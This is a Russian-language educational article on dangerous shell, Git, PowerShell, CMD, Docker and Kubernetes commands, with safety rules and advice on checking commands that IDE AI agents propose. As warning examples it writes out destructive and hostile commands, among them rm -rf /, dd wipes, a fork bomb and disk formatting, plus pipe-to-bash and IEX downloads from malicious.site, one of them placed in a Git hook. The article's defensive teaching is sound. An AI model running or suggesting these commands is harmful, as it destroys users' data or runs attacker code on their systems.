Опасные скрипты
Типичный сценарий: в чате или туториале дают «волшебную» команду — curl … | bash, git reset --hard, скрипт «почистить проект». Запуск без чтения строки за строкой. Через минуту пустой диск, пропавшие коммиты или проект, который больше не собирается.
Опасный скрипт — любая последовательность команд или код, который при запуске удаляет данные, ломает систему, ворует секреты или жрёт ресурсы. Он выполняется с вашими правами: sudo и «Запуск от имени администратора» только увеличивают ущерб.
Пять правил перед любым скриптом
:::danger Не обсуждается на продакшене
- Не запускайте то, что не прочитали построчно — хотя бы глазами пробегитесь по
rm,del,reset,format,curl,wget,IEX. - Никогда
curl … | bash,wget -O - | bash,IEX (DownloadString …)из интернета — сначала скачайте файл, откройте в редакторе, потом запускайте. - Перед
rm,del,Remove-Item,git reset,git clean,git push --force— остановитесь: какой путь, какая ветка, какой remote. - Сомнительное и деструктивное — только на учебной VM, в одноразовом контейнере или отдельной машине, не на рабочем ноутбуке с единственной копией проекта.
- Ошиблись в Git — сначала
git reflog, без паники и безgit gc --prune=now. :::
Топ-10 ловушек новичка
| № | Что копируют | Чем грозит |
|---|---|---|
| 1 | curl -fsSL … | bash / wget -O - | bash | Выполнение чужого кода с вашими правами |
| 2 | rm -rf с неверным путём, пробелом (/ home вместо /home) | Массовое удаление |
| 3 | git reset --hard, git checkout -- ., git restore . | Потеря незакоммиченных правок |
| 4 | git clean -fdx | Удаление неотслеживаемых файлов и игнорируемого (.env, артефакты сборки) |
| 5 | git push --force на main | Перезапись истории у всей команды |
| 6 | sudo !! | Повтор последней команды от root |
| 7 | npm run clean / make clean без чтения package.json | Скрытый rimraf или rm -rf внутри скрипта |
| 8 | Remove-Item C:\* -Recurse -Force | Очистка диска Windows |
| 9 | rm -rf в WSL по /mnt/c/... | Удаление файлов на диске Windows |
| 10 | «Удобный» алиас вроде git undo → reset HEAD~1 | Привычка жать откат без понимания (112) |
Ниже — разбор по платформам. Сначала Git: там чаще всего «пропадает история», и там же чаще всего её ещё можно вернуть.
Git — сначала спасение, потом опасность
Если уже нажали «не то»
git reflog
# Найдите запись ДО reset/clean — например HEAD@{1}
git branch rescue HEAD@{1}
# или — git reset --hard HEAD@{1}
Подробные сценарии и сроки хранения reflog — в статье Особенности работы с репозиториями в Git и Восстановление данных в Git.
:::caution Когда reflog не спасёт
Запись уже вышла из срока хранения reflog; на remote сделали push --force, а у вас нет старого коммита; удалили папку .git без бэкапа. Тогда остаются клон с другой машины, бэкап (115) или обращение к коллегам.
:::
Команды, которые ломают историю и файлы
:::danger Только если вы осознанно откатываете локальную ветку
git reset --hard HEAD~10
--hard сбрасывает индекс и рабочую копию; коммиты ещё видны в reflog, пока не запущен агрессивный gc.
:::
git clean -fdx
-f — force, -d — каталоги, -x — в том числе файлы из .gitignore (локальные конфиги, .env, node_modules при ошибочном пути).
git checkout -- .
git restore .
Откат отслеживаемых файлов к последнему коммиту; несохранённая работа в этих файлах пропадёт.
:::danger На общей ветке — согласуйте с командой
git push --force origin main
Перезапись удалённой истории; коммиты коллег могут «отвалиться» у тех, кто уже успел забрать старую версию. :::
Уничтожение следов в reflog (осознанная «стирка», не для отката ошибки):
git reflog expire --expire=now --all
git gc --prune=now --aggressive
После этого восстановление через reflog невозможно.
Скрытое выполнение кода
git config --global core.pager "malicious_command"
Любой git log / git diff запустит указанную команду.
# .git/hooks/pre-commit
curl -s https://malicious.site/collect.sh | bash
Хуки в .git/hooks/ срабатывают при commit, push, merge без отдельного окна «вы уверены?». Проверяйте содержимое хуков после клонирования чужого репозитория.
Чеклист перед запуском
- Прочитал каждую строку; понимаю пути и флаги
- Для Git: текущая ветка, есть ли незакоммиченное, нужен ли
--force - Есть бэкап или коммит / push в безопасное место
- Деструктивное — не на единственной копии данных
- Скрипт из сети сохранён в файл и просмотрен, а не «сразу в pipe»
- Команда от ИИ-агента: прочитана построчно, путь и флаги осознанны (см. ниже)
Резервные копии и шифрование — 115, 117.
ИИ-агент в IDE и терминале
IDE-агенты (Cursor, GitHub Copilot, Claude Code, Continue и др.) могут предлагать и запускать команды shell и Git: «почисти проект», «откати коммиты», «установи зависимости». Модель не видит ваш диск целиком и может ошибиться в пути, ветке или флаге.
Правило: ответ агента — как скрипт с незнакомого сайта: пять правил и топ-10 обязательны и для «Run», «Accept», «Apply».
| Перед запуском от агента | Проверить |
|---|---|
| Команда в терминале | Каждый токен: rm, del, format, curl | bash, sudo |
| Git | reset --hard, clean -fdx, push --force — осознанно? |
| Путь | Не /, не C:\, не /mnt/c/... в WSL, если цель — папка проекта |
| Среда | На боевом ноутбуке — отказ или копия в VM / ветку-черновик |
| Секреты | Агент не должен печатать токены; вы не коммитите .env по его совету |
Подробнее про архитектуру агентов и политики инструментов — Агенты ИИ, про ассистентов в разработке — 4.14 / AI-ассистенты.
Категории риска
- деструктивные — удаление файлов, дисков, конфигураций;
- шпионские — перехват ввода, утечка секретов;
- ресурсные — майнинг, DDoS, ботнеты.
Bash и Linux
Файловая система и диск
:::danger Учебная VM или одноразовый контейнер
rm -rf /
-r рекурсия, -f без вопросов, / — корень. На многих дистрибутивах rm по умолчанию включает --preserve-root и откажется удалять /; с --no-preserve-root защиты нет. Опасность остаётся для rm -rf /home, /var, /mnt/c в WSL.
:::
dd if=/dev/zero of=/dev/sda bs=1M
> /dev/sda
dd затирает блочное устройство; > обнуляет начало устройства или файла.
WSL: путь /mnt/c/Users/... — это диск Windows. rm -rf там удаляет файлы Windows, не «песочницу Linux».
Ресурсы
:::danger Зависание системы
:(){ :|:& };:
Форк-бомба: экспоненциальный рост процессов. :::
while true; do mkdir test_$(date +%s); done
Заполнение диска каталогами.
Код из сети
curl -fsSL https://example.com/install.sh | sudo bash
wget http://malicious.site/script.sh -O - | bash
Безопасный порядок: скачать → открыть в редакторе → при необходимости проверить хеш из доверенного источника (не с той же страницы, что и скрипт) → запустить:
curl -fsSL -o install.sh https://example.com/install.sh
sha256sum -c install.sha256 # файл .sha256 с проверенного канала
bash install.sh
sudo !!
Повторяет предыдущую команду с правами root — частая опечатка после «Access denied».
PowerShell и Windows
Remove-Item -Path "C:\*" -Recurse -Force
Clear-Disk -Number 0 -RemoveData -Confirm:$false
Format-Volume -DriveLetter C -FileSystem NTFS -Confirm:$false
IEX (New-Object Net.WebClient).DownloadString('https://malicious.site/payload.ps1')
Set-ExecutionPolicy Bypass -Scope Process
IEX (Invoke-Expression) выполняет загруженную строку; Bypass снимает ограничения на скрипты в текущем процессе.
Автозагрузка через реестр (Run) и извлечение подсказок RDP-логинов — тема информационной безопасности; для «не снести диск» достаточно не запускать незнакомые .ps1 с правами администратора.
CMD и BAT
del /f /s /q c:\*.*
rd /s /q c:\important
format c: /fs:NTFS /q /y
/q — без вопросов; format /y — без подтверждения.
setx PATH "C:\malicious;%PATH%" /M
/M — системная переменная; подмена PATH ломает запуск программ.
fdisk /mbr — учебный пример из старых материалов; на современных Windows загрузчик устроен иначе, но произвольные diskpart/format-команды из туториалов остаются опасными.
Справочник — инфраструктура и языки
Расширенный разбор Docker, Kubernetes и паттернов в коде — для тех, кто уже трогает контейнеры и бэкенд. Основной маршрут по контейнерам: 8.06.
Docker — доступ к хосту и сеть
docker run -v /:/host ubuntu
docker run --privileged nginx
docker run -v /var/run/docker.sock:/var/run/docker.sock alpine
docker run --network host malicious_image
docker run -p 0.0.0.0:22:22 ubuntu
-v /:/host — все файлы хоста; --privileged — почти без изоляции; socket Docker — управление демоном с хоста; host network и 0.0.0.0 — обход изоляции и открытие порта наружу.
Kubernetes — привилегии и секреты
Опасные фрагменты манифеста:
hostNetwork: true— сеть ноды;- монтирование
/var/run/docker.sockили/etcсhostPath; securityContext.privileged: true,runAsUser: 0;serviceAccountName: cluster-admin+kubectl get secrets --all-namespaces.
Подробнее о безопасной оркестрации — в разделе 8.06.
Python, Node.js, Java — код и зависимости
Инъекции в shell:
os.system(f"rm -rf {user_input}")
subprocess.Popen(user_command, shell=True)
exec(`ls ${userInput}`);
new ProcessBuilder("cmd.exe", "/c", userCommand);
Предпочтительно: список аргументов без shell=True / exec, валидация путей.
Десериализация: pickle.loads(untrusted), Java ObjectInputStream.readObject() — произвольное выполнение кода; для обмена данными — JSON, protobuf и т.п.
Зависимости: опечатка pip install requessts, случайный пакет в package.json — supply chain; pip install --require-hashes, npm audit, lock-файлы.
Log4j (исторический урок): подстановка ${jndi:ldap://…} в логах — обновлять библиотеки, не логировать сырой ввод.
Принципы на каждый день
| Принцип | На практике |
|---|---|
| Минимальные привилегии | Без sudo / админа, если задача этого не требует |
| Изоляция | VM, отдельный WSL-дистрибутив, контейнер без mount хоста |
| Чтение кода | Особенно preinstall, postinstall, clean в npm/Makefile |
| Бэкап | Коммит, push, tar/облако перед экспериментом |
| Reflog | Первая команда после ошибки в Git — не gc |
Скрипт из интернета выполняется от вашего имени. Одна строка в терминале может стоить дольше, чем час написания кода — если заранее не остановиться и не прочитать.
См. также
Другие статьи этого же раздела в боковом меню (как на странице «О разделе»). Для защиты кода используется автосохранение (в первую очередь), снимки состояний, локальные истории и конечно же самое важное – VCS (version control System), система контроля версий. Защита кода от несанкционированных изменений — это комплекс мер, направленных на предотвращение копирования, модификации, подделки или обратной инженерии программного обеспечения. Архитектура Git - рабочая директория, индекс и расшифровка состояния файлов в выводе `git status`. GitFlow — это фиксированная схема работы с ветками в Git, которая разделяет разработку, подготовку релизов и экстренные правки. Когда вы инициализируете репозиторий с помощью git init, создаётся скрытая папка .git. Это всё, что Git использует для отслеживания изменений. В современной практике git daemon используется редко ввиду отсутствия безопасности; предпочтение отдаётся SSH или HTTPS. git fetch используется для просмотра данных в репозитории. -v / --verbose – добавляет больше информации в вывод команды. Часто используется для отладки или получения более подробного лога. К примеру, git push -v – подробный вывод при отправке изменений. В некоторых случаях используется SVN (Apache Subversion), в отличие от Git, это централизованная система контроля версий, требующая установки сервера. Для защиты данных используется резервное копирование (backup, бэкап), это защищает от пропажи данных при сбоях, атаках или ошибках. GitVerse — это российская «AI-first» платформа для совместной разработки программного обеспечения и управления кодом. SourceCraft — это облачная платформа для полного цикла разработки, тестирования, сборки и сопровождения программного обеспечения от компании Яндекс B2B Tech.Безопасность кода
Защита кода от изменений
Архитектура системы контроля версий Git
Модель ветвления GitFlow
Внутреннее устройство Git
Особенности работы с репозиториями в Git
Команды Git для повседневной разработки
Настройка и параметры Git
Сравнение Git и Subversion (SVN)
Методы защиты пользовательских и корпоративных данных
Gitverse - отечественная альтернатива Git
SourceCraft - отечественная альтернатива Git